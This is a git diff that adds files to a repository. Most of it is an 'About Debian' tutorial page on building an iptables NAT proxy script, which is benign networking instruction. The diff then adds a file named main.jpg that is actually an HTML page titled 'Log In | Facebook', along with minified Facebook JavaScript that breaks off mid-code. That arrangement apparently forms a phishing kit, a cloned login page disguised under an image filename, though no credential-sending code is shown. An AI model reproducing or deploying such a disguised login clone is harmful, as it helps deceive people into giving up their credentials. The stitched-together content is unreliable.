    +# SET THE INTERFACE DESIGNATION FOR YOUR "EXTERNAL" (INTERNET) CONNECTION
    +#   The default value below is "ppp0" which is appropriate 
    +#   for a MODEM connection.
    +#   If you have two NICs in your system change this value
    +#   to "eth0" or "eth1" (whichever is opposite of the value
    +#   set for INTIF above).  This would be the NIC connected
    +#   to your cable or DSL modem (WITHOUT a cable/DSL router).
    +#       Note that this is an interface DESIGNATION - not
    +#       the IP address of the interface.
    +#   Enter the external interface's designation for the
    +#   EXTIF variable:
    +
    +EXTIF="ppp0"
    +
    +
    +# ! ! ! ! !  Use ONLY Section B  *OR*  Section C depending on
    +#  ! ! ! !   the type of Internet connection you have.
    +
    +
    +# === SECTION B
    +# -----------   FOR THOSE WITH STATIC PUBLIC IP ADDRESSES
    +
    +   # SET YOUR EXTERNAL IP ADDRESS
    +   #   If you specified a NIC (i.e. "eth0" or "eth1" for
    +   #   the external interface (EXTIF) variable above,
    +   #   AND if that external NIC is configured with a
    +   #   static, public IP address (assigned by your ISP),
    +   #   UNCOMMENT the following EXTIP line and enter the
    +   #   IP address for the EXTIP variable:
    +
    +#EXTIP="your.static.IP.address"
    +
    +
    +
    +# === SECTION C
    +# ----------   DIAL-UP MODEM, AND RESIDENTIAL CABLE-MODEM/DSL (Dynamic IP) USERS
    +
    +
    +# SET YOUR EXTERNAL INTERFACE FOR DYNAMIC IP ADDRESSING
    +#   If you get your IP address dynamically from SLIP, PPP,
    +#   BOOTP, or DHCP, UNCOMMENT the command below.
    +#   (No values have to be entered.)
    +#         Note that if you are uncommenting these lines then
    +#         the EXTIP line in Section B must be commented out.
    +
    +#EXTIP="`/sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
    +
    +
    +# --------  No more variable setting beyond this point  --------
    +
    +
    +echo "Loading required stateful/NAT kernel modules..."
    +
    +/sbin/depmod -a
    +/sbin/modprobe ip_tables
    +/sbin/modprobe ip_conntrack
    +/sbin/modprobe ip_conntrack_ftp
    +/sbin/modprobe ip_conntrack_irc
    +/sbin/modprobe iptable_nat
    +/sbin/modprobe ip_nat_ftp
    +/sbin/modprobe ip_nat_irc
    +
    +echo "    Enabling IP forwarding..."
    +echo "1" > /proc/sys/net/ipv4/ip_forward
    +echo "1" > /proc/sys/net/ipv4/ip_dynaddr
    +
    +echo "    External interface: $EXTIF"
    +echo "       External interface IP address is: $EXTIP"
    +
    +echo "    Loading proxy server rules..."
    +
    +# Clearing any existing rules and setting default policy
    +iptables -P INPUT ACCEPT
    +iptables -F INPUT 
    +iptables -P OUTPUT ACCEPT
    +iptables -F OUTPUT 
    +iptables -P FORWARD DROP
    +iptables -F FORWARD 
    +iptables -t nat -F
    +
    +# FWD: Allow all connections OUT and only existing and related ones IN
    +iptables -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED,RELATED -j ACCEPT
    +iptables -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT
    +
    +# Enabling SNAT (MASQUERADE) functionality on $EXTIF
    +iptables -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE
    +
    +echo -e "       Proxy server rule loading complete\n\n"
    +
    +
    +
    +
    +
    +The ESTABLISHED keyword in the rule +that fowards packets from the External (Internet) interface to the +Internal (LAN) interface limits incoming traffic to that which is a +"response" to a previously sent outgoing request (a Web page coming +back from a browser request for example). The rule with the MASQUERADE keyword is the rule that causes the actual NAT translation. +

    +Once you've pasted the script into a text editor be sure to read +through the file's comments and make any necessary changes to the file. +Once you've done that, save the file as proxy.txt to your local hard-drive. (Using a .txt extension +avoids hassles when saving the file with NotePad and will help ensure +that your ftp program transfers the file using ASCII mode rather than +binary. We'll change the extension later.) +

    +
    +One note of interest. Recall that back on the Linux Basics +page we mentioned how you can use "piping" to pass the output of one +command into another. In the above script the long command immediately +above the line +
    +# -------- No more variable setting beyond this point -------- +
    +has +three pipes which passes output among four different commands +(ifconfig, grep, awk and sed). This series of commands will extract the +IP address assigned to a modem (or modem-like device) so that it can be +assigned to the EXTIP shell script variable. +
    +If we +were to remove all of the comments from the above script we find that +the actual script itself isn't very long. And most of what remains are +the commands which echo imformational messages to the screen which +indicate the progress of the script. If we were to remove those also, +the final script for those who use an external interface that receives +a dynamically-assigned IP address would only be: +

    + +
    + +
    #!/bin/sh
    +INTIF="eth0"
    +EXTIF="ppp0"
    +EXTIP="`/sbin/ifconfig ppp0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`"
    +/sbin/depmod -a
    +/sbin/modprobe ip_tables
    +/sbin/modprobe ip_conntrack
    +/sbin/modprobe ip_conntrack_ftp
    +/sbin/modprobe ip_conntrack_irc
    +/sbin/modprobe iptable_nat
    +/sbin/modprobe ip_nat_ftp
    +echo "1" > /proc/sys/net/ipv4/ip_forward
    +echo "1" > /proc/sys/net/ipv4/ip_dynaddr
    +iptables -P INPUT ACCEPT
    +iptables -F INPUT 
    +iptables -P OUTPUT ACCEPT
    +iptables -F OUTPUT 
    +iptables -P FORWARD DROP
    +iptables -F FORWARD 
    +iptables -t nat -F
    +iptables -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED,RELATED -j ACCEPT
    +iptables -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT
    +iptables -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE
    +
    +
    +
    +
    +
    Once you make the necessary changes and save the file you can use +an ftp program to transfer the script file to your Debian system. Be +sure to use the ASCII transfer mode. (We showed you how to set up ftp server functionality back on the Packages +page.) Use anonymous ftp to transfer the file (where the username is +"anonymous" and the password is an e-mail address). This is puts the +file in /home/ftp/pub/incoming directory on the Debian system so it's easy to find. +

    +After connecting to your Debian system, use the ftp client to navigate into the pub directory and then into the incoming +directory. This is the directory where anonymous ftp visitors have +write access. When you transfer the file (using ASCII mode), it may not +show up in the list of files on the "remote" (Debian) system, but it is +there. (You can verify that by trying to transfer it a second time. You +should get an error saying you don't have overwrite permission.) +

    Once the file is transferred, enter the following commands on +your debian system to copy/rename the file to the appropriate scripts +directory and to make it executable for root: +

    +
    + +cp /home/ftp/pub/incoming/proxy.txt /etc/init.d/proxy.sh
    +chmod 755 /etc/init.d/proxy.sh +
    +
    +The .sh part +of the new file name just indicates that it's a shell script. Not all +shell scripts use an extension but this makes it easier to identify +your scripts. +

    +Testing Your Proxy Server +

    +If you set the script to use the ppp0 as the external interface (i.e. set the EXTIF variable equal to ppp0), use the pon command to connect the modem to your ISP. You must have an active connection for the ppp0 interface to exist, and this interface must exist before running the script. +

    +
    +Note: + You cannot set this script to run at boot up if you are using a +dynamic IP-based modem connection for the external interface such as +with a dial-up modem or residential DSL or cable service without some +modification (which we'll see below). +
    +Once connected to the Internet, run the script by entering the command: +
    +
    +/etc/init.d/proxy.sh +
    +
    +You should see the script messages echoed to the screen as it executes. Congratulations! You now have a proxy server. +

    Try it out. All you have to do is go to one of the other +systems on your internal LAN and change it's "default gateway" value to +the IP address of the Debian system's internal interface. The following diagram from the Networking +page shows you what's happening when you do. (The "cable or DSL modem" +in the diagram could be your dial-up modem connected to a serial port +if that's what you're using.) +

    +

    +How To Share An Internet Connection +
    +
    +In the above diagram, you'd set the default gateway on your network +system to 192.168.5.1 which is the IP address of the internal interface +on the Linux proxy server. If you're using a Windows PC, you would go +into Start/Settings/Control Panel/Network and open the TCP/IP properties +to change the default gateway value. Also make sure the DNS server +setting points to your ISP's DNS server. You may have to reboot your +Windows system after making these changes. +

    Once your Windows system has been changed and rebooted, open +up a DOS window and try a trace route by entering the following +command: +
    +
    +tracert www.debian.org +
    +
    +The first thing you should see shows you that the www.debian.org got +resolved to an IP address which means you were able to access your +ISP's DNS server to resolve the domain name. Next your should see a +series of trace responses. Look at the IP address on the right end of +the first trace response. It should be the IP address of your +Debian system's internal interface. Here's the trace output from my +system: +

    + +
    Tracing route to www.debian.org [194.109.137.218] over a maximum of 30 hops:
    +
    + 1   <10 ms   <10 ms   <10 ms  sarge 192.168.5.1
    + 2   150 ms   140 ms   151 ms  as29.nwbl0.myisp.net 
    + 3   150 ms   141 ms   140 ms  vl15.rsm0.myisp.net
    + 4   150 ms   141 ms   140 ms  3.ge3-0-0.rtr1.myisp.net
    + 5   151 ms   140 ms   140 ms  0.rtr0.chcg0.il.myisp.net
    + 6   150 ms   150 ms   140 ms  pvc-von.225io.myisp.net 
    + 7   140 ms   140 ms   150 ms  206.220.243.189 
    + 8   211 ms   200 ms   200 ms  oc3-pos0-0.gsr12012.sjc.he.net
    + 9   180 ms   190 ms   191 ms  gige-g0-0.gsr12008.pao.he.net 
    +10   190 ms   191 ms   190 ms  fe-1-1-0.pao.via.net 
    +11   191 ms   200 ms   190 ms  s6-0.border1-7206.valinux.com
    +12   200 ms   190 ms   190 ms  fe0-0.dist5-3662.vasoftware.com
    +13   190 ms   180 ms   201 ms  e2-1.community8-bi8000.vasoftware.com
    +14   211 ms   200 ms   200 ms  klecker.debian.org
    +
    +Trace complete.
    +
    +
    +

    +If the trace doesn't work, try bypassing DNS by tracing to the debian.org server using the IP address: +
    +
    +tracert 194.109.137.218 +
    +
    If +this works, and the above didn't, it indicates your DNS settings (on +your Windows system) are not correct. In any case, the IP address of +the internal interface on your Debian system should be the first line +in any trace response. If it's not, check your TCP/IP properties again. +If you don't get any response, see if you can ping the internal +interface of your Debian system with the command: +
    +
    +ping 192.168.5.1 +
    +
    +If you can't ping that, see if you can ping any other systems on your LAN (you'll have to use the ipconfig or winipcfg command +on another Windows system to find out what its IP address is in order +to ping it). If you can ping a different system on your LAN, something +is wrong with the network configuration on your Debian box. If you +can't ping any other system, something is wrong with the network +configuration (likely the TCP/IP properties) on the system you're using +to do the pinging. +

    +With the above script, there is no easy way to "turn off" the proxy function once you use the proxy.sh script to turn it on. Simply reboot the system to stop it from acting as a proxy server. +

    +In the next section you'll see how to get the proxy/firewall functionality to start up automatically when you boot the system. +


    + +
    +Automatic Startup + +Top of page
    +
    Remember that you cannot run a proxy server or firewall script at +system startup if your Internet connection needs to be dialed. That's +because the script looks for the IP address your ISP has assigned to +the external interface, and the external interface won't have an IP +address until after a connection is made. (However, there may be a way +around this.) +

    In the case of a real, full-time proxy server, firewall, or +router, you'll want to set things up so the appropriate script gets run +automatically when you boot the system. Back on the Linux Basics page we covered the Debian startup process. Recall from that discussion that we not only need to put the scripts in the /etc/init.d directory, which we have already done with the proxy.sh script, but we also need to create the appropriate links to the scripts. +

    +There's no way you should ever have NFS file sharing enabled on an +Internet-connected system so runlevel 2, which is Debian's default, is +appropriate. As such, we'll need to create a symbolic link in the /etc/rc2.d subdirectory. Recall that the name of this link needs to start with an upper-case S +which needs to be followed by a two-digit number. In order to do this +we just need to know how to create a symbolic link. For that we use the ln command. +

    +If we do a: +
    +
    + +man ln + +
    +
    +to pull up the man page for the ln command we see the syntax is: +
    +
    + +ln [OPTIONS] TARGET LINK_NAME + +
    +
    +We want to use the -s option to create a symbolic link. As a result, our command would be: +
    +
    + +ln -s /etc/init.d/proxy.sh /etc/rc2.d/S95proxy + +
    +
    +The 95 part of the link name ensures that the proxy.sh script won't be run until near the end of the startup process. If you go into the /etc/rc2.d subdirectory and do an ls you will see that 95 wasn't already being used. Also, take note of the S91apache link. This was created when we installed the Apache package. +

    +Auto-Dialing +

    +So what if all we have is a dial-up connection to the Internet? Are we +sunk? No. If you ever worked with DOS batch files you may recall the +PAUSE command. You could put the PAUSE command in a batch file followed +by a number to get the execution of the program to idle for the number +of seconds equal to the number after the command. Naturally Linux has +an equivalent. It's the sleep command. +

    +Rather than run the pon dialer script manually, we can "call" it near the beginning of an proxy or firewall script and then follow that call with a sleep statement to give the modem a chance to connect. The modifications would look like this (in blue): +

    + +
    #    PLEASE SET THE USER VARIABLES
    +#    IN SECTIONS A AND B OR C
    +
    +echo -e "\n\nSETTING UP IPTABLES PROXY..."
    +
    +
    +echo "    Dialing Internet connection..."
    +/usr/bin/pon
    +sleep 15
    +
    +
    +# === SECTION A
    +# -----------   FOR EVERYONE 
    +
    +
    +
    +
    +Naturally, if you don't get a connection for some reason the setup of +the proxy server or firewall will fail so it's best to monitor the +bootup messages to make sure everything initializes OK. +

    Since most ISPs don't allow "camping" on a modem line (staying +connected for long periods of time) this setup isn't something you'd +want to use permanently. However, it will let you simulate having an +"always on" connection to do a little playing around. +

    +In order to stop the auto-dialing at boot-up, simply delete the symbolic link with the command: +
    +
    + +rm /etc/rc2.d/S95proxy + +
    +
    You +can also delete the dialing-related statements out of the proxy or +firewall script if you want, but having them auto-dial for you is a +convenience even when you do want to run the scripts manually. +


    +
    +
    + +
    +SECURITY WARNING +

    +Do NOT plan to use the system you will create using these guide pages as a "production" (real) server. It will NOT be secure! +

    There are many steps involved in creating a secure Internet or +LAN server. While we do refer to some things you can do to make your +system more secure, there are many other measures related to system +security that also need to be taken into consideration and they are not +covered on these pages.

    +These guide pages are meant as a learning tool only. The knowledge +gained on these pages will help you understand the material covered in +security-related publications when you are ready to consider setting up +a production server. +
    +
    +

    +
    + + +
    +
    + +Did you find this page helpful ?
    +If so, please help keep this site operating
    +by using our CD, gear, or book pages. +
    +


    + +Site, content, documents, original images   Copyright 2003-2010   Keith Parkansky   All rights reserved
    +Duplication of any portion of this site or the material contained herein without
    +the express written consent of Keith Parkansky, USA is strictly prohibited. +

    +This site is in no way affiliated with the Debian Project, the debian.org Web site, or
    +Software In The Public Interest, Inc. No endorsement of this site by the Debian Project
    +or Software In the Public Interest is expressed or implied. Debian and the Debian logo
    +are registered trademarks of Software In The Public Interest, Inc. Linux is a registered
    +trademark of Linus Torvalds. The Tux penguin graphic is the creation of Larry Ewing. +

    +LIABILITY +

    +IN NO EVENT WILL KEITH PARKANSKY OR BLUEHOST INCORPORATED +OR ANY OF ITS' SUBSIDIARIES BE LIABLE TO ANY PARTY (i) FOR ANY DIRECT, +INDIRECT, SPECIAL, PUNITIVE OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS +INTERRUPTION, LOSS OF PROGRAMS OR INFORMATION, AND THE LIKE), OR ANY +OTHER DAMAGES ARISING IN ANY WAY OUT OF THE AVAILABILITY, USE, RELIANCE +ON, OR INABILITY TO USE THE INFORMATION, METHODS, HTML OR COMPUTER +CODE, OR "KNOWLEDGE" PROVIDED ON OR THROUGH THIS WEBSITE, COMMONLY +REFERRED TO AS THE "ABOUT DEBIAN" WEBSITE, OR ANY OF ITS' ASSOCIATED +DOCUMENTS, DIAGRAMS, IMAGES, REPRODUCTIONS, COMPUTER EXECUTED CODE, OR +ELECTRONICALLY STORED OR TRANSMITTED FILES OR GENERATED COMMUNICATIONS +OR DATA EVEN IF KEITH PARKANSKY OR BLUEHOST INCORPORATED +OR ANY OF ITS' SUBSIDIARIES SHALL HAVE BEEN ADVISED OF THE POSSIBILITY +OF SUCH DAMAGES, AND REGARDLESS OF THE FORM OF ACTION, WHETHER IN +CONTRACT, TORT, OR OTHERWISE; OR (ii) FOR ANY CLAIM ATTRIBUTABLE TO +ERRORS, OMISSIONS, OR OTHER INACCURACIES IN, OR DESTRUCTIVE PROPERTIES +OF ANY INFORMATION, METHODS, HTML OR COMPUTER CODE, OR "KNOWLEDGE" +PROVIDED ON OR THROUGH THIS WEBSITE, COMMONLY REFERRED TO AS THE "ABOUT +DEBIAN" WEBSITE, OR ANY OF ITS' ASSOCIATED DOCUMENTS, DIAGRAMS, IMAGES, +REPRODUCTIONS, COMPUTER EXECUTED CODE, OR ELECTRONICALLY STORED, +TRANSMITTED, OR GENERATED FILES, COMMUNICATIONS, OR DATA. ALL +INFORMATION, METHODS, HTML OR COMPUTER CODE IS PROVIDED STRICTLY "AS +IS" WITH NO GUARANTY OF ACCURACY AND/OR COMPLETENESS. USE OF THIS SITE +CONSTITUTES ACCEPTANCE OF ALL STATED TERMS AND CONDITIONS. +
    +

    +
    +
    + + + \ No newline at end of file diff --git a/index_files/cd-tag-off.gif b/index_files/cd-tag-off.gif new file mode 100755 index 0000000..23ace5a Binary files /dev/null and b/index_files/cd-tag-off.gif differ diff --git a/index_files/menu.gif b/index_files/menu.gif new file mode 100755 index 0000000..25e0b0c Binary files /dev/null and b/index_files/menu.gif differ diff --git a/index_files/share-both.gif b/index_files/share-both.gif new file mode 100755 index 0000000..2e59064 Binary files /dev/null and b/index_files/share-both.gif differ diff --git a/index_files/sharing2.gif b/index_files/sharing2.gif new file mode 100755 index 0000000..b973beb Binary files /dev/null and b/index_files/sharing2.gif differ diff --git a/index_files/smmain.gif b/index_files/smmain.gif new file mode 100755 index 0000000..2531529 Binary files /dev/null and b/index_files/smmain.gif differ diff --git a/index_files/up.gif b/index_files/up.gif new file mode 100755 index 0000000..ffc56ee Binary files /dev/null and b/index_files/up.gif differ diff --git a/main.jpg b/main.jpg new file mode 100755 index 0000000..b0c5cb5 --- /dev/null +++ b/main.jpg @@ -0,0 +1,32 @@ + + +Log In | Facebook + + + + + + + + +
    + + + + + diff --git a/main_files/M43Zzpijdzx.js b/main_files/M43Zzpijdzx.js new file mode 100755 index 0000000..6cbddf0 --- /dev/null +++ b/main_files/M43Zzpijdzx.js @@ -0,0 +1,85 @@ +/*1356493271,178142533*/ + +if (self.CavalryLogger) { CavalryLogger.start_js(["gHLv0"]); } + + + + +self.__DEV__=self.__DEV__||0; + + + +if(JSON.stringify(["\u2028\u2029"])==='["\u2028\u2029"]')JSON.stringify=function(a){var b=/\u2028/g,c=/\u2029/g;return function(d,e,f){var g=a.call(this,d,e,f);if(g){if(-1h)i.className=i.className+' sidebarMode';}};e.exports=g;}); +__d("ErrorUtils",["Env"],function(a,b,c,d,e,f){var g=b('Env'),h=[],i=[],j=10,k=window.chrome&&'type' in new Error(),l=/^(\s+at\s)?((\w+)?.*)(\(|@)?.*(https?:[^:]*)(:(\d+))?(:(\d+))?/mg;function m(y){if(!y)return;y=y.split(/\n\n/)[0];l.lastIndex=0;var z=[],aa;while(aa=l.exec(y))z.push(' at '+(aa[3]||'')+(aa[3]?'(':'')+aa[5]+':'+aa[7]+(aa[9]?':'+aa[9]:'')+(aa[3]?')':''));return z.length?z.join('\n'):y;}function n(y){if(!y){return {};}else if(y._originalError)return y;var z={line:y.lineNumber||y.line,message:y.message,name:y.name,script:y.fileName||y.sourceURL||y.script,stack:m(y.stackTrace||y.stack)};z._originalError=y;if(y.framesToPop){var aa=z.stack.split('\n');aa.splice(0,y.framesToPop);z.stack=aa.join('\n');if(/(\w{3,5}:\/\/[^:]+):(\d+)/.test(aa[0])){z.script=RegExp.$1;z.line=parseInt(RegExp.$2,10);}}if(k&&/(\w{3,5}:\/\/[^:]+):(\d+)/.test(y.stack)){z.script=RegExp.$1;z.line=parseInt(RegExp.$2,10);}for(var ba in z)(z[ba]==null&&delete z[ba]);return z;}function o(){try{throw new Error();}catch(y){var z=n(y).stack;return z&&z.replace(/[\s\S]*__getTrace__.*\n/,'');}}function p(y,z){y=n(y);!z;if(i.length=n){for(t in o){v.push(o[t].signal);u.push(o[t].error);}o={};}else for(t in o){var w=o[t].signal,x=window.getComputedStyle?getComputedStyle(w,null):w.currentStyle;if(x&&parseInt(x.height,10)>1){u.push(o[t].load);v.push(w);delete o[t];}}for(var y=0;y-1;},addClass:function(j,k){j=g(j);if(k)if(j.classList){j.classList.add(k);}else if(!i.hasClass(j,k))j.className=j.className+' '+k;return j;},removeClass:function(j,k){j=g(j);if(k)if(j.classList){j.classList.remove(k);}else if(i.hasClass(j,k))j.className=j.className.replace(new RegExp('(^|\\s)'+k+'(?:\\s|$)','g'),'$1').replace(/\s+/g,' ').replace(/^\s*|\s*$/g,'');return j;},conditionClass:function(j,k,l){return (l?i.addClass:i.removeClass)(j,k);},toggleClass:function(j,k){return i.conditionClass(j,k,!i.hasClass(j,k));},shown:function(j){return !i.hasClass(j,h);},hide:function(j){return i.addClass(j,h);},show:function(j){return i.removeClass(j,h);},toggle:function(j){return i.toggleClass(j,h);},conditionShow:function(j,k){return i.conditionClass(j,h,!k);}};e.exports=i;}); +__d("BlueBarController",["Bootloader","CSS"],function(a,b,c,d,e,f){var g=b('Bootloader'),h=b('CSS');f.init=function(i){if('getBoundingClientRect' in i){var j=function(){var k=i.getBoundingClientRect(),l=Math.round(k.top)-document.documentElement.clientTop;h.conditionClass(i.firstChild,'fixed_elem',l<=0);};j();g.loadModules(['event-extensions'],function(){Event.listen(window,'scroll',j);});}};}); +__d("legacy:css-core",["CSS"],function(a,b,c,d){a.CSS=b('CSS');},3); +__d("legacy:dom-core",["$","ge"],function(a,b,c,d){a.$=b('$');a.ge=b('ge');},3); +__d("Parent",["CSS"],function(a,b,c,d,e,f){var g=b('CSS'),h={byTag:function(i,j){j=j.toUpperCase();while(i&&i.nodeName!=j)i=i.parentNode;return i;},byClass:function(i,j){while(i&&!g.hasClass(i,j))i=i.parentNode;return i;},byAttribute:function(i,j){while(i&&(!i.getAttribute||!i.getAttribute(j)))i=i.parentNode;return i;}};e.exports=h;}); +__d("legacy:parent",["Parent"],function(a,b,c,d){a.Parent=b('Parent');},3); +__d("legacy:arbiter",["Arbiter"],function(a,b,c,d){a.Arbiter=b('Arbiter');},3); +__d("event-form-bubbling",[],function(a,b,c,d,e,f){a.Event=a.Event||function(){};a.Event.__inlineSubmit=function(g,event){var h=(a.Event.__getHandler&&a.Event.__getHandler(g,'submit'));return h?null:a.Event.__bubbleSubmit(g,event);};a.Event.__bubbleSubmit=function(g,event){if(document.documentElement.attachEvent){var h;while(h!==false&&(g=g.parentNode))h=g.onsubmit?g.onsubmit(event):a.Event.__fire&&a.Event.__fire(g,'submit',event);return h;}};},3); +__d("OnloadEvent",[],function(a,b,c,d,e,f){var g={ONLOAD:'onload/onload',ONLOAD_CALLBACK:'onload/onload_callback',ONLOAD_DOMCONTENT:'onload/dom_content_ready',ONLOAD_DOMCONTENT_CALLBACK:'onload/domcontent_callback',ONBEFOREUNLOAD:'onload/beforeunload',ONUNLOAD:'onload/unload'};e.exports=g;}); +__d("Run",["Arbiter","OnloadEvent"],function(a,b,c,d,e,f){var g=b('Arbiter'),h=b('OnloadEvent'),i=g.BEHAVIOR_STATE;function j(x){var y=a.CavalryLogger;y&&y.getInstance().setTimeStamp(x);}function k(){return !window.loading_page_chrome;}function l(x){var y=a.OnloadHooks;if(window.loaded&&y){y.runHook(x,'onlateloadhooks');}else q('onloadhooks',x);}function m(x){var y=a.OnloadHooks;if(window.afterloaded&&y){setTimeout(function(){y.runHook(x,'onlateafterloadhooks');},0);}else q('onafterloadhooks',x);}function n(x,y){if(y===undefined)y=k();y?q('onbeforeleavehooks',x):q('onbeforeunloadhooks',x);}function o(x){if(!window.onunload)window.onunload=function(){g.inform(h.ONUNLOAD,true,i);};q('onunloadhooks',x);}function p(x){q('onleavehooks',x);}function q(x,y){window[x]=(window[x]||[]).concat(y);}function r(x){window[x]=[];}function s(){g.inform(h.ONLOAD_DOMCONTENT,true,i);}a._domcontentready=s;function t(){var x=document,y=window;if(x.addEventListener){var z=/AppleWebKit.(\d+)/.exec(navigator.userAgent);if(z&&z[1]<525){var aa=setInterval(function(){if(/loaded|complete/.test(x.readyState)){s();clearInterval(aa);}},10);}else x.addEventListener("DOMContentLoaded",s,true);}else{var ba='javascript:void(0)';if(y.location.protocol=='https:')ba='//:';x.write('